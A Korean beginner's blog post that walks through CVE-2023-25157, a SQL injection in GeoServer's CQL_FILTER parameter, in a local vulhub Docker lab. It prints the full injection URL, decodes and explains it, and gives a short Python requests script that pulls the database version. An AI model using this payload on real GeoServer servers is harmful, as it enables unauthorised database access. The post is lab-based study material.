본문 바로가기

해킹 공격

[NOOBHACK] 취약한 도커 서버 분석 (CVE 분석하는 방법)

오늘은 취약한 도커 서버를 분석해 보자 + CVE 분석하는 방법

먼저 CVE이란 공개적으로 알려진 컴퓨터 보안 결함 목록이다. CVE는 CVE ID가 할당 되어 있다.

오늘 분석할 CVE는

 

https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2023-25157

이것이다.

 

먼저 이것을 칼리 리눅스에 가져온다.

그리고 다음과 같은 명령어를 실행하여 준다.

CVE는 기본적으로 취약한 도커 환경을  지원하기 때문에 자기 혼자서 해당 취약한 서버를 공격하는게 가능하다

docker-compose up -d

 

이렇게 취약한 도커 서버를 실행하는 것이 가능하며 README 파일을 살펴보아 자신이 로컬 호스트 중에서 어느 포트로 접속해야 도커 서버에 접속 가능한지 알려준다. 나 같은 경우는 로컬 호스트로 8080에 들어가면 됐다

 

이는 취약한 도커 서버에 잘 도착한 모습이다. 그러면 어떻게 익스플로잇을 하면 되는지 README 파일을 살펴본 결과

이 도커 서버의 취약점은 SQL Injection 이였다.

그러면 먼저 어느 부분에서 SQL 취약점이 발생하는지 찾아야 한다. 

 

README에서는 http://your-ip:8080/geoserver/ows 이 주소에 get 방식으로 전달하는 파라미터 중 하나가 SQL injection을 방지 하기 위한 필터링을 거치지 않고 그대로 SQL 쿼리에 삽입 된다는 취약점을 알 수 있었다.

 

http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true

먼저 익스플로잇 코드 예시이다. /geoserver/ows 경로에서 공격을 수행 하며 여러 파라미터를 전달하는 것을 알 수 있는데

그 중에서 CQL_FILTER 파라미터에 SQL 인젝션 내용이 있는 것을 확인 할 수 있었다.

 

CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true

URL 인코딩이 되어 있으니 URL 디코딩을 수행하여 보다 편하게 분석 할 수 있다.

 

 

CQL_FILTER=strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true

이 익스플로잇 쿼리문에서 우리는 다음과 같은 추측을 할 수 있다.

 

1. OWS(Open Web Service) 엔드포인트에 요청을 하며,

2. (service=wfs) WFS에 대한 요청임을 나타낸다

3. WFS 버전은 1.0.0 이다

4. requset= GetFeature을 보아 피처을 가져오는 요청임을 알 수가 있다

 

그리고 SQL Injection을 수행하는 파라미터를 보면은,

 

strStartsWith(name,'x'') = true:

name이라는 필드가 'x'로 시작하는 피처를 필터링 하려고 시도하고 있다.

여기서 단일 따옴표가 있어서 여기서 부터 쿼리를 조작하고 있음을 알 수 있다.

 

and 1=(SELECT CAST ((SELECT version()) AS integer)) -- '):

이 부분은 SQL 인젝션에서 version() 함수를 사용하여 데이터베이스의 버전을 조회하고 그 결과를

AS integer를 통해 정수로 반환하려 한다. 그리고 "--"은 SQL 언어에선 주석을 의미하므로 그 뒤의 SQL 쿼리는 전부 무시된다 

 

따라서 이 구문은 취약한 GeoServer 인스턴스에 대한 SQL 인젝션인 것을 알 수 있다.

그럼 이 공격을 수행하여 해당 데이터베이스의 버전을 알아내는 익스플로잇 코드를 작성 할 수 있다.

 

 

import requests

url="http://localhost:8080/geoserver/ows"
par="?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true"

r=requests.get(url=url+par)
index = r.text.find("PostgreSQL")
index2 =(r.text[index:]).find(",")

respone의 데이터를 분석하여 버전이 있는 곳을 특정하여 코드를 출력해 보았다.